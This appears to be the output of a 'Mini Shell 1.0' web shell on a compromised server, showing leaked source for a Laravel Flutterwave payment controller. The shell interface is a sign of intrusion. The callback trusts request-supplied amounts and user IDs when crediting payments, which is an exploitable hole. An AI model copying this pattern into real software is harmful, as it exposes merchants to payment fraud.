HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/FlutterwaveController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Models\CombinedOrder;

use App\Models\User;

use Exception;

use Rave as Flutterwave;

use Illuminate\Http\Request;





class FlutterwaveController extends Controller

{



    public function getUrl(Request $request)

    {

        $payment_type = $request->payment_type;

        $combined_order_id = $request->combined_order_id;

        $amount = $request->amount;

        $user_id = $request->user_id;

        if (isset($request->package_id)) {

            $package_id = $request->package_id;

        }





        if ($payment_type == 'cart_payment') {

            $combined_order = CombinedOrder::find($combined_order_id);

            return $this->initialize($payment_type, $combined_order_id, $combined_order->grand_total, $user_id);

        } elseif ($payment_type == 'wallet_payment') {

            return $this->initialize($payment_type, $combined_order_id, $amount, $user_id);

        } elseif (

            $payment_type == 'seller_package_payment' ||

            $payment_type == 'customer_package_payment'

        ) {

            return $this->initialize($payment_type, $combined_order_id, $amount, $user_id, $package_id);

        }

    }



    public function initialize($payment_type, $combined_order_id, $amount, $user_id, $package_id = 0)

    {

        $user = User::find($user_id);

        //This generates a payment reference

        $reference = Flutterwave::generateReference();



        // Enter the details of the payment

        $data = [

            'payment_options' => 'card,banktransfer',

            'amount' => $amount,

            'email' => $user->email,

            'tx_ref' => $reference,

            'currency' => env('FLW_PAYMENT_CURRENCY_CODE'),

            'redirect_url' => route(

                'api.flutterwave.callback',

                [

                    "payment_type" => $payment_type,

                    "combined_order_id" => $combined_order_id,

                    "amount" => $amount,

                    "user_id" => $user_id,

                    'package_id' => $package_id

                ]

            ),

            'customer' => [

                'email' => $user->email,

                "phone_number" => $user->phone,

                "name" => $user->name

            ],



            "customizations" => [

                "title" => 'Payment',

                "description" => ""

            ]

        ];



        $payment = Flutterwave::initializePayment($data);





        if ($payment['status'] !== 'success') {

            // notify something went wrong

            return response()->json(['result' => false, 'url' => '', 'message' => "Could not find redirect url"]);

        }

        return response()->json(['result' => true, 'url' => $payment['data']['link'], 'message' => "Url generated"]);

    }







    public function callback(Request $request)

    {

        $status = $request->status;



        //if payment is successful

        if ($status ==  'successful') {

            $transactionID = Flutterwave::getTransactionIDFromCallback();

            $data = Flutterwave::verifyTransaction($transactionID);



            try {

                $payment = $data['data'];



                if ($payment['status'] == "successful") {

                    if ($request->payment_type == 'cart_payment') {

                        checkout_done($request->combined_order_id, json_encode($payment));

                    }



                    if ($request->payment_type == 'wallet_payment') {

                        wallet_payment_done($request->user_id, $request->amount, 'Flutterwave', json_encode($payment));

                    }



                    if ($request->payment_type == 'seller_package_payment') {

                        seller_purchase_payment_done($request->user_id, $request->package_id, $request->amount, 'Flutterwave', json_encode($payment));

                    }

                    if ($request->payment_type == 'customer_package_payment') {

                        customer_purchase_payment_done($request->user_id, $request->package_id);

                    }



                    return response()->json(['result' => true, 'message' => translate("Payment is successful")]);

                } else {

                    return response()->json(['result' => false, 'message' => translate("Payment is unsuccessful")]);

                }

            } catch (Exception $e) {

                return response()->json(['result' => false, 'message' => translate("Unsuccessful")]);

            }

        } elseif ($status ==  'cancelled') {

            return response()->json(['result' => false, 'message' => translate("Payment Cancelled")]);

        }

    }

}